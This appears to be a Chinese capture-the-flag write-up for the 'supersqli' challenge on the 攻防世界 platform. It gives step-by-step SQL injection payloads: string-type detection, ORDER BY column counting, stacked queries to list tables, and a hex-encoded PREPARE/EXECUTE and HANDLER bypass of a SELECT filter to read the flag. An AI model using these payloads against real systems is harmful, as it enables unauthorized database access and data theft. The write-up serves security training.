攻防世界_supersqli
supersqli

1. 判断字符型/数字型注入
?inject=1 and 1=1 #无报错
- 数字型: select * from users where id = 1 and 1=1 无报错
- 字符型: select * from users where id = '1 and 1=1' 无报错
?inject=1 and 1=2 #无报错
- 数字型: select * from users where id = 1 and 1=2 报错
- 字符型: select * from users where id = '1 and 1=2' 无报错
?inject=1' #报错
- 数字型: select * from users where id = 1' 报错
- 字符型: select * from users where id = '1'' 报错
?inject=1'--+ #无报错
- 数字型: select * from users where id = 1' --+ 报错
- 字符型: select * from users where id = '1'--+' 无报错
判断出是字符型注入
2. 判断字段
?inject=1'order by 1 --+ #页面正常
?inject=1'order by 2 --+ #页面正常
?inject=1'order by 3 --+ #页面出错
有3个字段
3. 查询库,表
先尝试union注入
?inject=1'union select databases,2 --+

显示select被过滤,考虑堆叠注入
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,例如php中的mysqli_multi_query函数。与之对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行。
mysqli_multi_query 是 PHP 中的一个函数,用于执行一个或多个针对数据库的查询。这些查询可以是分离的 SQL 语句,通过分号(;)隔开
?inject=1';show databases --+
语句执行成功
考虑到题目提示supersqli,查看supersqli的表
?inject=1';use supersqli; show tables; --+

查看表1919810931114514的字段
?inject=1';use supersqli;show columns from `1919810931114514`; --+

发现flag
4. 获取flag
由于过滤了select 只能选择绕过
预处理语句绕过
select flag from `1919810931114514` --> 73656c65637420666c61672066726f6d20603139313938313039333131313435313460(十六进制)
预处理语句
一条 SQL 在 DB 接收到最终执行完毕返回,大致的过程如下:
1. 词法和语义解析;
2. 优化 SQL 语句,制定执行计划;
3. 执行并返回结果;大多数情况下,某SQL语句可能会被反复调用执行,或者每次执行时只有个别的值不通,如果每次都经过以上步骤效率会很低。
预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入
# 创建预处理语句 PREPARE {prepared_statement_name} FROM '{prepared_statement_sql}'; #使用预处理语句 SET @{parameter_name} = {parameter_value}; EXECUTE {prepared_statement_name} USING @{parameter_name}; #{parameter_name} 用户参数名 #{parameter_value} 用户参数值 #{prepared_statement_name} 预处理语句名称,需和创建预处理语句中定义的名称一致 # 删除(释放)定义 DEALLOCATE PREPARE {prepared_statement_name};例子
-- 1. 先准备语句(SQL是固定字符串,含占位符?) PREPARE stmt FROM 'SELECT * FROM users WHERE id = ?'; -- 2. 再设置变量(绑定参数) SET @id = 100; -- 3. 最后执行(传入变量) EXECUTE stmt USING @id; -- 4. 释放 DEALLOCATE PREPARE stmt;
在本题中,没有参数绑定,只是为绕过检查
SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
注入语句为
?inject=1';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql; --+
获得flag
handler查询法
handler `1919810931114514` open as p; -- 以"句柄"方式打开表 `1919810931114514`,ps
handler p read first; -- 读取该表的首行数据
注入语句为
?inject=1';use supersqli;handler `1919810931114514` open as p;handler p read first;--+
获得flag

浙公网安备 33010602011771号